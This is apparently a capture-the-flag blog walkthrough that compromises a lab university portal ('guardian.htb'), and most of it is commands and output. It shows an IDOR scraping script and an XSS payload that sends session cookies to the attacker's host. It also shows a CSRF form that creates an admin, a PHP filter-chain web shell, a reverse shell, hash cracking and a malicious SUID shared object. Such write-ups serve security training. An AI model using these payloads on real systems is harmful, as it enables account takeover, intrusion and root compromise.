IP=10.129.3.208
nmap -Pn -p- --min-rate=3000 -vv -oG nmap.grep $IP; nmap -sVC -Pn -p$(grep -oP '\d+(?=/open)' nmap.grep | paste -sd "," -) $IP;
# Starting Nmap 7.93 ( https://nmap.org ) at 2026-02-24 10:36 CET
# Nmap scan report for 10.129.3.208
# Host is up (0.038s latency).
#
# PORT STATE SERVICE VERSION
# 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
# | ssh-hostkey:
# | 256 9c6953e1383bdecd420ac86bf895b362 (ECDSA)
# |_ 256 3caab9be172d5e99ccffe1919038b739 (ED25519)
# 80/tcp open http Apache httpd 2.4.52
# |_http-server-header: Apache/2.4.52 (Ubuntu)
# |_http-title: Did not follow redirect to http://guardian.htb/
# Service Info: Host: _default_; OS: Linux; CPE: cpe:/o:linux:linux_kernel
#
# Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done: 1 IP address (1 host up) scanned in 8.40 seconds
I added the guardian.htb to my /etc/hosts:
curl -I http://guardian.htb
# HTTP/1.1 200 OK
# Date: Tue, 24 Feb 2026 09:41:25 GMT
# Server: Apache/2.4.52 (Ubuntu)
# <SNIP>

The website is horribly slow when the banner is in view, not sure why, though it's a basic information page that has a button to a "Student portal", it redirects to landing.guardian.htb. Unfortuantely we get a 403, I tried acessing index, login or 404 pages nothing, it seems to really block all access.
Let's go back to the main site, there's student emails listed:
There's also a contact form but looking at the frontend code, we see that it doesnt really call out to any API. Let's ignore that and start fuzzing:
ffuf -c -w `fzf-wordlists` -u "http://guardian.htb/FUZZ"
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0
________________________________________________
:: Method : GET
:: URL : http://guardian.htb/FUZZ
:: Wordlist : FUZZ: /opt/lists/seclists/Discovery/Web-Content/common.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
.hta [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 1938ms]
.htpasswd [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 5007ms]
.htaccess [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 5020ms]
cgi-bin/ [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 40ms]
css [Status: 301, Size: 310, Words: 20, Lines: 10, Duration: 34ms]
images [Status: 301, Size: 313, Words: 20, Lines: 10, Duration: 38ms]
index.html [Status: 200, Size: 6741, Words: 2252, Lines: 156, Duration: 37ms]
js [Status: 301, Size: 309, Words: 20, Lines: 10, Duration: 44ms]
javascript [Status: 301, Size: 317, Words: 20, Lines: 10, Duration: 369ms]
server-status [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 86ms]
:: Progress: [4750/4750] :: Job [1/1] :: 303 req/sec :: Duration: [0:00:12] :: Errors: 0 ::
The cgi-bin is very interesting, this is a common directory for hosting scripts mostly for administrative purposes. It's often vulnerable and can lead to RCE if we find a script:
ffuf -c -w /opt/lists/eclists/Discovery/Web-Content/common.txt -u "http://guardian.htb/cgi-bin/FUZZ" -e .cgi,.sh,.pl,.py,.php
# Nothing
ffuf -c -w /opt/lists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-small.txt -u "http://guardian.htb/cgi-bin/FUZZ" -e .cgi,.sh,.php
# Nothing
Ok this might not be the way, let's look for other vHosts then:
ffuf -c -w /opt/lists/seclists/Discovery/DNS/combined_subdomains.txt -u "http://guardian.htb/" -H "Host: FUZZ.guardian.htb" -fs 6741 -fc 301
# portal [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 38ms]
# :: Progress: [653920/653920] :: Job [1/1] :: 1111 req/sec :: Duration: [0:13:26] :: Errors: 0 ::
Let's try to fuzz the portal subdomain:
ffuf -c -w `fzf-wordlists` -u "http://portal.guardian.htb/FUZZ"
# .env [Status: 403, Size: 284, Words: 20, Lines: 10, Duration: 72ms]
# .gitignore [Status: 403, Size: 284, Words: 20, Lines: 10, Duration: 72ms]
# .gitk [Status: 403, Size: 284, Words: 20, Lines: 10, Duration: 76ms]
# .git/logs/ [Status: 403, Size: 284, Words: 20, Lines: 10, Duration: 973ms]
# admin [Status: 301, Size: 326, Words: 20, Lines: 10, Duration: 37ms]
# .git_release [Status: 403, Size: 284, Words: 20, Lines: 10, Duration: 2981ms]
# .git/HEAD [Status: 403, Size: 284, Words: 20, Lines: 10, Duration: 2984ms]
# .git [Status: 403, Size: 284, Words: 20, Lines: 10, Duration: 2988ms]
# .gitattributes [Status: 403, Size: 284, Words: 20, Lines: 10, Duration: 3991ms]
# .htaccess [Status: 403, Size: 284, Words: 20, Lines: 10, Duration: 3995ms]
# .gitkeep [Status: 403, Size: 284, Words: 20, Lines: 10, Duration: 3999ms]
# .git/index [Status: 403, Size: 284, Words: 20, Lines: 10, Duration: 4006ms]
# .git/config [Status: 403, Size: 284, Words: 20, Lines: 10, Duration: 4008ms]
# .hta [Status: 403, Size: 284, Words: 20, Lines: 10, Duration: 4009ms]
# cgi-bin/ [Status: 403, Size: 284, Words: 20, Lines: 10, Duration: 34ms]
# config [Status: 301, Size: 327, Words: 20, Lines: 10, Duration: 32ms]
# .gitmodules [Status: 403, Size: 284, Words: 20, Lines: 10, Duration: 4818ms]
# .htpasswd [Status: 403, Size: 284, Words: 20, Lines: 10, Duration: 4872ms]
# .gitconfig [Status: 403, Size: 284, Words: 20, Lines: 10, Duration: 5208ms]
# .gitreview [Status: 403, Size: 284, Words: 20, Lines: 10, Duration: 5304ms]
# .git-rewrite [Status: 403, Size: 284, Words: 20, Lines: 10, Duration: 5340ms]
# includes [Status: 301, Size: 329, Words: 20, Lines: 10, Duration: 31ms]
# index.php [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 34ms]
# javascript [Status: 301, Size: 331, Words: 20, Lines: 10, Duration: 31ms]
# models [Status: 301, Size: 327, Words: 20, Lines: 10, Duration: 33ms]
# server-status [Status: 403, Size: 284, Words: 20, Lines: 10, Duration: 32ms]
# static [Status: 301, Size: 327, Words: 20, Lines: 10, Duration: 42ms]
# student [Status: 301, Size: 328, Words: 20, Lines: 10, Duration: 36ms]
# vendor [Status: 301, Size: 327, Words: 20, Lines: 10, Duration: 32ms]
# :: Progress: [4750/4750] :: Job [1/1] :: 351 req/sec :: Duration: [0:00:08] :: Errors: 0 ::
Ok we found a lot, first of all, I'm getting gaslit and there was indeed a index.php page… This happens sometimes, hosts don't update or the browser keeps some cache:

Looking around we see we need user IDs to login, the emails from before gave us 3 IDs, though we need passwords, there's a "Portal Guide" pdf that explains that the default password is GU1234.
Let's see if any user didn't change their password. We find that GU0142023:GU1234 works:

We find chats with two other users GU6262023 and mireielle.feek, the latter seems to be a teacher based on their name format and the discussion:

There's an entire chatting system and we can send messages, here I sent "Hello!".
The URL of the chat shows a potential IDOR attack: ?chat_users[0]=13&chat_users[1]=11. I appear to be user 13, it could be interesting to brute-force all possible user ID pairs and grab all chats from them.
There's also a single assignment that's due, which gives us access to a file upload form, it expects .docx, or .xlsx files, maybe we can bypass that later.
And on the profile page we see a role field, though trying to tamper with it and send a &role=admin to the POST /profile.php doesn't work.
Ok let's focus on the chat IDOR, on the chat list we see the whole list of users, we can extract that into a clean .txt for later, there's 60 users, let's quickly get a python script running that goes trough all possible pairs of users and fetches the chats using requests + bs4:
import requests
import re
from time import sleep
from bs4 import BeautifulSoup
MESSAGES_URL = lambda a, b: f"http://portal.guardian.htb/student/chat.php?chat_users[0]={a}&chat_users[1]={b}"
HEADERS = {"Host": "portal.guardian.htb",
"Accept": "text/html",
"Cookie": "PHPSESSID=njgv4dieseh8sm24qu6jolvcnh"}
MIN_USER = 1
MAX_USER = 60
def get_messages(a, b):
try:
r = requests.get(MESSAGES_URL(a, b), headers=HEADERS)
except Exception as e:
print(e)
return
if r.status_code != 200:
print(f"[!] Page responded with {r.status_code}")
soup = BeautifulSoup(r.content, 'html.parser')
msgs = soup.find_all('div', attrs={'class': 'chat-bubble'})
if len(msgs) == 0:
return
print(f"\n[*] From {a} -> {b}:")
for msg in msgs:
text = msg.get_text().strip()
text = re.sub(r"\s+", " ", text)
print(text)
def enum_users():
for i in range(MIN_USER, MAX_USER):
for j in range(i + 1, MAX_USER):
if i == j:
continue
get_messages(i, j)
sleep(.1)
enum_users()
Here is the only really interesting chat:
jamil.enockson Feb 24, 2026 10:34 I am doing great, thanks.
We don't have access to the Gitea yet though, we also find multiple mentions of issues with the uploading mechanism:
cyrus.booth Feb 24, 2026 11:04 The system is not letting me upload my assignment. Could you help? sammy.treat Feb 24, 2026 11:04 I had some trouble accessing the course materials. Can you assist? GU9492024 Feb 24, 2026 11:34 The assignment submission link seems to be broken. Can you check it?
I have no idea where the uploaded files are and I already tried fuzzing lots of vHosts, but It's worth trying `gitea.guardian.htb` manually just in case:
```bash
curl -s http://guardian.htb -H "Host: gitea.guardian.htb" | grep "<title"
# <title>Gitea: Git with a cup of tea</title>
Oh wow somehow my previous fuzzing didn't pick up on that or maybe I was too aggressive. Ok, so let's add it to our hosts file and suppose the credentials are jamil.enockson:DHsNnk3V503:

Powered by Gitea Version: 1.23.7
Before logging in I looked at the public information, there's no public repo though there's a user mark, so maybe jamil doesn't exist?
I tried to login with the given password and different usernames jamil.enockson, mark, admin, but none work. Looking at mark it gave me an idea to try jamil, that worked:

We have access to two repos, manually reading trough the files of guardian.htb shows nothing interesting. Though the portal.guardian.htb is way bigger, let's clone it and grep for information:
git clone http://gitea.guardian.htb/Guardian/portal.guardian.htb.git
# Cloning into 'portal.guardian.htb'...
# Username for 'http://gitea.guardian.htb': jamil
# Password for 'http://jamil@gitea.guardian.htb':
# remote: Enumerating objects: 3555, done.
# remote: Counting objects: 100% (3555/3555), done.
# remote: Compressing objects: 100% (2758/2758), done.
# remote: Total 3555 (delta 757), reused 3555 (delta 757), pack-reused 0
# Receiving objects: 100% (3555/3555), 6.75 MiB | 2.68 MiB/s, done.
# Resolving deltas: 100% (757/757), done.
cd config
grep -r "password"
# db.php: $config['db']['password'],
# config.php: 'password' => 'Gu4rd14n_un1_1s_th3_b3st',
/config/config.php:
<?php
return [
'db' => [
'dsn' => 'mysql:host=localhost;dbname=guardiandb',
'username' => 'root',
'password' => 'Gu4rd14n_un1_1s_th3_b3st',
'options' => []
],
'salt' => '8Sb)tM1vs1SS'
];
Very interesting stuff, we have a salt which would allow us to brute-force hashes, and we have credentials for a database that we currently cannot access.
Let's focus on the upload mechanism from before, now that we have the code let's look for the upload logic:
grep -r "docx"
# student/submission.php: $allowed_extensions = ['docx', 'xlsx'];
# student/submission.php: $error = "Invalid file type. Only .docx and .xlsx files are allowed.";
# student/submission.php: <p class="text-xs text-gray-500">Supported formats: .docx, .xlsx</p>
# student/submission.php: <input type="file" name="attachment" id="attachment" accept=".docx, .xlsx" required>
# lecturer/view-submission.php: <?php elseif (pathinfo('../attachment_uploads/' . $submission['attachment_name'], PATHINFO_EXTENSION) === 'docx'): ?>
# <SNIP>
I found the upload location:
$upload_dir = '../attachment_uploads/';
if (!is_dir($upload_dir)) {
mkdir($upload_dir, 0777, true);
}
$new_file_name = uniqid("attachment_", true) . '.' . $file_extension;
$file_path = $upload_dir . $new_file_name;
uniqid() comes form the phpoffice library, it generates a unique ID based on the current time in microseconds, fair to say over a network we won't be able to guess the filename, Instead we might have to focus on the lecturer/ side of things, I already tried to connect as jamil with the gitea password and it didn't work, but maybe we can find a way to change our role, another's user data, or maybe there's a way to upload a malicious file, and get it executed if there's a teacher (bot) that grades the assignments.
I looked around all the possibly interesting files and found this in lecturer/submissions.php:
<?php if (pathinfo('../attachment_uploads/' . $submission['attachment_name'], PATHINFO_EXTENSION) === 'xlsx'): ?>
<div class="mt-8">
<h3 class="font-semibold text-gray-800 mb-3">Document Preview</h3>
<div class="overflow-x-auto bg-white p-4 border border-gray-200 rounded-lg">
<?php
$spreadsheet = IOFactory::load('../attachment_uploads/' . $submission['attachment_name']);
$writer = new Html($spreadsheet);
$writer->writeAllSheets();
echo $writer->generateHTMLAll();
?>
</div>
</div>
So if the file uploaded is an .xlsx, it gets parsed, HTML is generated out of it and it's echo'd directly to the front-end. If we inject some malicious HTML into a Excel cell, maybe we can get it to render.
The challenge is how to generate a valid excel since I'm on linux, probably there's a python way to do this. I found xlsxwriter, let's try a classic ping to a simple HTTP server:
import xlsxwriter
workbook = xlsxwriter.Workbook("test.xlsx")
worksheet = workbook.add_worksheet()
worksheet.write("A1", '<script src="http://10.10.15.43/pwned"></script>')
workbook.close()
I uploaded this and waited a couple minutes but nothing came through, though now that I read the assignment description carefully:
Solve problems using descriptive statistics.
Hahaha very fitting. Probably the script tag didn't work. I tested with other tags and other escape methods, nothing worked. Let's turn our attention to the dependencies then.
Previously we saw Gitea v1.23.7, it has some CVEs but nothing really useful it's mostly information disclosure or privilege misconfigurations that lead to gaining access to other repos.
Now looking at the composer.json we see phpoffice (related to the xlsx and docx):
"phpoffice/math": "0.2.0"There's also other dependencies though let's focus on phpoffice first.
phpoffice/phpspreadsheet <3.8.0 is vulnerable to CVE-2025-22131, an XSS attack that is literally what we were doing but instead of relying on the cells it places the XSS into the worksheet titles. Though Excel standard requires 31 chars maximum which prevents us from placing a full payload. The only way I found is to unzip and manually rename the xl/workboot.xml to have sheet2 be named: "> <script src="http://10.10.15.43/test"></script>, re-zipping and uploading it after a couple seconds we get a hit!
python3 -m http.server 80
# Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
# 10.129.237.248 - - [24/Feb/2026 20:07:53] code 404, message File not found
# 10.129.237.248 - - [24/Feb/2026 20:07:53] "GET /test HTTP/1.1" 404 -
Amazing let's steal the session from this user. Let's update the title to a simple fetch that has the cookies in the URL: "><script>fetch("http://10.10.15.43/?c="+btoa(document.cookie))</script>
python3 -m http.server 80
# Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
# 10.129.237.248 - - [24/Feb/2026 20:18:42] "GET /?c=UEhQU0VTU0lEPXVxOWZjdWtmYjZyMTNkaWtzZ3V0anV2MGVi HTTP/1.1" 200 -
^C
# Keyboard interrupt received, exiting.
echo "UEhQU0VTU0lEPXVxOWZjdWtmYjZyMTNkaWtzZ3V0anV2MGVi" | base64 -d
# PHPSESSID=uq9fcukfb6r13diksgutjuv0eb
Let's use that session cookie on our browser, I personally use the "Cookie-Editor" extension:

We are now sammy.treat, a lecturer which gives us access to new features. We can access student submissions but there's nothing useful. Though one thing is notable, on the Notice Board our current user has a visible and currently up notice, that we can edit, I'm curious if we can inject anything to the DOM especially since this is PHP.
Let's try php:

Nope, let's try some sort of SSTI:

Nope… Ok last resort is to just try another cookie stealer with JS:

Argh! Ok let's re-explore the available resources now that we have a lecturer account and access to the source code, one file that stands out to me is /configs/csrf-token.php:
<?php
$global_tokens_file = __DIR__ . '/tokens.json';
// <SNIP>
Navigating to /config/tokens.json, gives us a list of CSRF tokens:
[
"c5bb399da35d9cad23abc5e993f3dd8a",
"5982776d4d3a5ac98082afd707bad654",
"2ff5c8c0c7ad674b11ad969707e36eda"
]
CSRF was absolutely the last thing we needed to complete the puzzle, there was one thing I kind of overlooked, but on the notice board, there's also a "Reference Link" if somehow an admin clicks on this link, we might be able to modify it and trigger an admin action, let's look at the /admin/ API for anything useful, for example /admin/createuser.php is pretty cool:
// <SNIP>
if (!isAuthenticated() || $_SESSION['user_role'] !== 'admin') {
header('Location: /login.php');
exit();
}
// <SNIP>
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$csrf_token = $_POST['csrf_token'] ?? '';
if (!is_valid_token($csrf_token)) {
die("Invalid CSRF token!");
}
$username = $_POST['username'] ?? '';
$password = $_POST['password'] ?? '';
$full_name = $_POST['full_name'] ?? '';
$email = $_POST['email'] ?? '';
$dob = $_POST['dob'] ?? '';
$address = $_POST['address'] ?? '';
$user_role = $_POST['user_role'] ?? '';
// <SNIP>
Ok so if an admin user sends a POST request with a valid CSRF token we can create a user and specify their user_role, let's create an HTML auto-submit form on our server that will trigger this action:
<html>
<body onload="document.forms[0].submit()">
<form action="http://portal.guardian.htb/admin/createuser.php" method="POST">
<input type="hidden" name="username" value="test1234" />
<input type="hidden" name="password" value="test1234" />
<input type="hidden" name="full_name" value="Test test" />
<input type="hidden" name="email" value="test@acme.local" />
<input type="hidden" name="dob" value="2000-01-01" />
<input type="hidden" name="address" value="test" />
<input type="hidden" name="user_role" value="admin" />
<input type="hidden" name="csrf_token" value="5244b1043882058b62498010f2af19f7" />
</form>
</body>
</html>
Start a server to serve our file and create a new notice, on the notice board:

Oh I only notice now, but it literally hints that admins will verify links, amazing:
python3 -m http.server 80
# Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
# 10.129.4.154 - - [25/Feb/2026 14:34:00] "GET /index.html HTTP/1.1" 200 -
Nice, we can suppose the user got created, let's try test1234:test1234:

Looking at the new features the admin has, we see that all the statistics about the system/finances and such are served trough a parameter in the URL. Tamper with it we get path traversal, though limited:

Our request is getting blocked, there's some security, let's look at the code:
if (strpos($report, '..') !== false) {
die("<h2>Malicious request blocked 🚫 </h2>");
}
if (!preg_match('/^(.*(enrollment|academic|financial|system)\.php)$/', $report)) {
die("<h2>Access denied. Invalid file 🚫</h2>");
}
Ok we could try bypassing the .. check, but we still need to provide a specific syntax for the regex. Maybe we should focus on LFI instead using php wrappers:

Ok this confirms it works, though not very useful. There's a specific way to provide a valid file statically but then at execution of the php wrapper it generates a completely different file, this can be exploited to get RCE. The technique was popularized by Synacktiv thanks to their tool PHP Filter Chain Generator:
Essentially we want to access the following:
php://filter/<MASSIVE_CHAIN_HERE>/resource=reports/academic.php&cmd=id
Let's generate the chain:
php_filter_chain_generator.py --chain "<?php system(\$_REQUEST['cmd']); ?>"
# [+] The following gadget chain will generate the following code : <?php system($_REQUEST['cmd']); ?> (base64 value: PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsnY21kJ10pOyA/Pg)
# php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16 <SNIP>
Now let's add the correct resource= at the end to satisfy the regex check, and also add our &cmd=id:

It worked! We now have RCE, let's get a reverse shell, the revshells.com nc mkfifo + URL encoded worked perfectly:
nc -lvnp 4444
# Ncat: Version 7.93 ( https://nmap.org/ncat )
# Ncat: Listening on :::4444
# Ncat: Listening on 0.0.0.0:4444
# Ncat: Connection from 10.129.4.154.
# Ncat: Connection from 10.129.4.154:57442.
# sh: 0: can't access tty; job control turned off
$ id
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
Ok let's stabilize the shell and access the mysql:
ss -tulnp | grep 3306
# tcp LISTEN 0 70 127.0.0.1:33060 0.0.0.0:*
# tcp LISTEN 0 151 127.0.0.1:3306 0.0.0.0:*
ps aux | grep mysql
# mysql 1262 0.8 10.6 1786440 421608 ? Ssl 12:56 0:32 /usr/sbin/mysqld
# www-data 3989 0.0 0.0 3480 1712 pts/0 S+ 13:58 0:00 grep mysql
cat /etc/passwd | grep "sh$"
# root:x:0:0:root:/root:/bin/bash
# jamil:x:1000:1000:guardian:/home/jamil:/bin/bash
# mark:x:1001:1001:ls,,,:/home/mark:/bin/bash
# gitea:x:116:123:Git Version Control,,,:/home/gitea:/bin/bash
# sammy:x:1002:1003::/home/sammy:/bin/bash
mysql -u root -pGu4rd14n_un1_1s_th3_b3st
# mysql: [Warning] Using a password on the command line interface can be insecure.
# Welcome to the MySQL monitor. Commands end with ; or \g.
# Your MySQL connection id is 627
# Server version: 8.0.43-0ubuntu0.22.04.1 (Ubuntu)
#
# Copyright (c) 2000, 2025, Oracle and/or its affiliates.
#
# Oracle is a registered trademark of Oracle Corporation and/or its
# affiliates. Other names may be trademarks of their respective
# owners.
#
# Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
We are looking for the passwords of system users: jamil, mark, sammy and admin
mysql> use guardiandb;
-- Database changed
mysql> show tables;
-- +----------------------+
-- | Tables_in_guardiandb |
-- +----------------------+
-- | assignments |
-- | courses |
-- | enrollments |
-- | grades |
-- | messages |
-- | notices |
-- | programs |
-- | submissions |
-- | users |
-- +----------------------+
-- 9 rows in set (0.00 sec)
mysql> select username,password_hash from users;
-- +--------------------+------------------------------------------------------------------+
-- | username | password_hash |
-- +--------------------+------------------------------------------------------------------+
-- | admin | 694a63de406521120d9b905ee94bae3d863ff9f6637d7b7cb730f7da535fd6d6 |
-- | jamil.enockson | c1d8dfaeee103d01a5aec443a98d31294f98c5b4f09a0f02ff4f9a43ee440250 |
-- | mark.pargetter | 8623e713bb98ba2d46f335d659958ee658eb6370bc4c9ee4ba1cc6f37f97a10e |
-- | valentijn.temby | 1d1bb7b3c6a2a461362d2dcb3c3a55e71ed40fb00dd01d92b2a9cd3c0ff284e6 |
-- | leyla.rippin | 7f6873594c8da097a78322600bc8e42155b2db6cce6f2dab4fa0384e217d0b61 |
-- | perkin.fillon | 4a072227fe641b6c72af2ac9b16eea24ed3751211fb6807cf4d794ebd1797471 |
-- | cyrus.booth | 23d701bd2d5fa63e1a0cfe35c65418613f186b4d84330433be6a42ed43fb51e6 |
-- | sammy.treat | c7ea20ae5d78ab74650c7fb7628c4b44b1e7226c31859d503b93379ba7a0d1c2 |
-- | crin.hambidge | 9b6e003386cd1e24c97661ab4ad2c94cc844789b3916f681ea39c1cbf13c8c75 |
-- | myra.galsworthy | ba227588efcb86dcf426c5d5c1e2aae58d695d53a1a795b234202ae286da2ef4 |
-- | mireielle.feek | 18448ce8838aab26600b0a995dfebd79cc355254283702426d1056ca6f5d68b3 |
-- | vivie.smallthwaite | b88ac7727aaa9073aa735ee33ba84a3bdd26249fc0e59e7110d5bcdb4da4031a |
-- <REDACTED students>
Here are the interesting ones, also by looking at the code we see that it's salted SHA256 so let's already put it in format user:hash:salt for hashcat rule 1410:
admin:694a63de406521120d9b905ee94bae3d863ff9f6637d7b7cb730f7da535fd6d6:8Sb)tM1vs1SS
jamil.enockson:c1d8dfaeee103d01a5aec443a98d31294f98c5b4f09a0f02ff4f9a43ee440250:8Sb)tM1vs1SS
mark.pargetter:8623e713bb98ba2d46f335d659958ee658eb6370bc4c9ee4ba1cc6f37f97a10e:8Sb)tM1vs1SS
valentijn.temby:1d1bb7b3c6a2a461362d2dcb3c3a55e71ed40fb00dd01d92b2a9cd3c0ff284e6:8Sb)tM1vs1SS
leyla.rippin:7f6873594c8da097a78322600bc8e42155b2db6cce6f2dab4fa0384e217d0b61:8Sb)tM1vs1SS
perkin.fillon:4a072227fe641b6c72af2ac9b16eea24ed3751211fb6807cf4d794ebd1797471:8Sb)tM1vs1SS
cyrus.booth:23d701bd2d5fa63e1a0cfe35c65418613f186b4d84330433be6a42ed43fb51e6:8Sb)tM1vs1SS
sammy.treat:c7ea20ae5d78ab74650c7fb7628c4b44b1e7226c31859d503b93379ba7a0d1c2:8Sb)tM1vs1SS
crin.hambidge:9b6e003386cd1e24c97661ab4ad2c94cc844789b3916f681ea39c1cbf13c8c75:8Sb)tM1vs1SS
myra.galsworthy:ba227588efcb86dcf426c5d5c1e2aae58d695d53a1a795b234202ae286da2ef4:8Sb)tM1vs1SS
mireielle.feek:18448ce8838aab26600b0a995dfebd79cc355254283702426d1056ca6f5d68b3:8Sb)tM1vs1SS
vivie.smallthwaite:b88ac7727aaa9073aa735ee33ba84a3bdd26249fc0e59e7110d5bcdb4da4031a:8Sb)tM1vs1SS
hashcat -m 1410 --user hashes.txt `fzf-wordlists`
# hashcat (v6.2.6) starting
# <SNIP>
# Session..........: hashcat
# Status...........: Exhausted
# Hash.Mode........: 1410 (sha256($pass.$salt))
# Hash.Target......: hashes.txt
# Time.Started.....: Wed Feb 25 15:07:09 2026 (5 secs)
# Time.Estimated...: Wed Feb 25 15:07:14 2026 (0 secs)
# Kernel.Feature...: Pure Kernel
# Guess.Base.......: File (/opt/lists/rockyou.txt)
# Guess.Queue......: 1/1 (100.00%)
# Speed.#1.........: 3004.5 kH/s (1.26ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
# Recovered........: 2/12 (16.67%) Digests (total), 2/12 (16.67%) Digests (new)
# Progress.........: 14344384/14344384 (100.00%)
# Rejected.........: 0/14344384 (0.00%)
# Restore.Point....: 14344384/14344384 (100.00%)
# Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
# Candidate.Engine.: Device Generator
# Candidates.#1....: $HEX[206b6d3831303838] -> $HEX[042a0337c2a156616d6f732103]
# Hardware.Mon.#1..: Temp: 57c Util: 64%
#
# Started: Wed Feb 25 15:06:32 2026
# Stopped: Wed Feb 25 15:07:15 2026
hashcat -m 1410 --user hashes.txt --show
# admin:694a63de406521120d9b905ee94bae3d863ff9f6637d7b7cb730f7da535fd6d6:8Sb)tM1vs1SS:fakebake000
# jamil.enockson:c1d8dfaeee103d01a5aec443a98d31294f98c5b4f09a0f02ff4f9a43ee440250:8Sb)tM1vs1SS:copperhouse56
ssh jamil@guardian.htb
# The authenticity of host 'guardian.htb (10.129.4.154)' can't be established.
# ED25519 key fingerprint is SHA256:yDuqpioi/UxJDaMuo7cAS4YDvpjykfPdRibqdx+QE9k.
# This key is not known by any other names.
# Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
# Warning: Permanently added 'guardian.htb' (ED25519) to the list of known hosts.
# jamil@guardian.htb's password:
# Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-152-generic x86_64)
ls
# user.txt
cat user.txt
# <REDACTED>
sudo -l
# Matching Defaults entries for jamil on guardian:
# env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
#
# User jamil may run the following commands on guardian:
# (mark) NOPASSWD: /opt/scripts/utilities/utilities.py
Ok let's look into this utilities.py, we have a command we can do as anyone:
/opt/scripts/utilities/utilities.py -h
# usage: utilities.py [-h] {backup-db,zip-attachments,collect-logs,system-status}
#
# University Server Utilities Toolkit
#
# positional arguments:
# {backup-db,zip-attachments,collect-logs,system-status}
# Action to perform
#
# options:
# -h, --help show this help message and exit
/opt/scripts/utilities/utilities.py system-status
# System: Linux 5.15.0-152-generic
# CPU usage: 0.0 %
# Memory usage: 30.8 %
Though all other commands require the user to be mark, we can execute as them, let's look for any potential privilege escalation vectors in the script:
ls -la /opt/scripts/utilities/utils
# total 24
# drwxrwsr-x 2 root root 4096 Jul 10 2025 .
# drwxr-sr-x 4 root admins 4096 Jul 10 2025 ..
# -rw-r----- 1 root admins 287 Apr 19 2025 attachments.py
# -rw-r----- 1 root admins 246 Jul 10 2025 db.py
# -rw-r----- 1 root admins 226 Apr 19 2025 logs.py
# -rwxrwx--- 1 mark admins 253 Apr 26 2025 status.py
id
# uid=1000(jamil) gid=1000(jamil) groups=1000(jamil),1002(admins)
Essentially the logic for each of the commands is located in those files and we are part of the admins group, so we can modify status.py to spawn a shell instead:
import platform
import psutil
import os
import pty
def system_status():
pty.spawn('/bin/bash')
# print("System:", platform.system(), platform.release())
# print("CPU usage:", psutil.cpu_percent(), "%")
# print("Memory usage:", psutil.virtual_memory().percent, "%")
sudo -u mark /opt/scripts/utilities/utilities.py system-status
id
# uid=1001(mark) gid=1001(mark) groups=1001(mark),1002(admins)
sudo -l
# Matching Defaults entries for mark on guardian:
# env_reset, mail_badpass,
# secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
# use_pty
#
# User mark may run the following commands on guardian:
# (ALL) NOPASSWD: /usr/local/bin/safeapache2ctl
GTFOBins doesn't have any results for safeapache2ctl, but it does have an arbitrary file read for `apache2ctl:
sudo safeapache2ctl -c 'Include /root/root.txt'
# Usage: safeapache2ctl -f /home/mark/confs/file.conf
Mmh ok some sort of config file, so probably the classic apache config file, this seems to be a custom wrapper for apache2ctl that allows for custom configs:
I tried some tricks but I'm getting weird error messages, so instead let's open the file in Ghidra and decompile it, it's an ELF.
Reverse engineering the code and de-obfuscating we learn that it checks a couple of things:
/home/mark/confs/Include, LoadModule, IncludeOptional must point to a file inside /home/mark/confs/I first tried some ideas with a bash script, but I don't think that will work let's get a malicious shared object that copies /bin/bash and gives us SUID permissions for root:
#include <stdlib.h>
#include <unistd.h>
static void inject() __attribute__((constructor));
void inject() {
system("cp /bin/bash /tmp/bash && chmod 4777 /tmp/bash");
}
This will auto-run inject() and create our shell:
gcc -shared -fPIC -o payload.so payload.c
Now we need to create our config file, something simple just the header and a valid LoadModule:
ServerRoot "/etc/apache2"
LoadModule pwn_module /home/mark/confs/payload.so
And try to run this:
sudo /usr/local/bin/safeapache2ctl -f /home/mark/confs/file.conf
# apache2: Syntax error on line 2 of /home/mark/confs/file.conf: Can't locate API module structure `pwn_module' in file /home/mark/confs/payload.so: /home/mark/confs/payload.so: undefined symbol: pwn_module
# Action '-f /home/mark/confs/file.conf' failed.
# The Apache error log may have more information.
/tmp/bash -p
cd /root
ls
# root.txt scripts
cat root.txt
# <REDACTED>
2025 © Philippe Cheype
Base theme by Digital Garden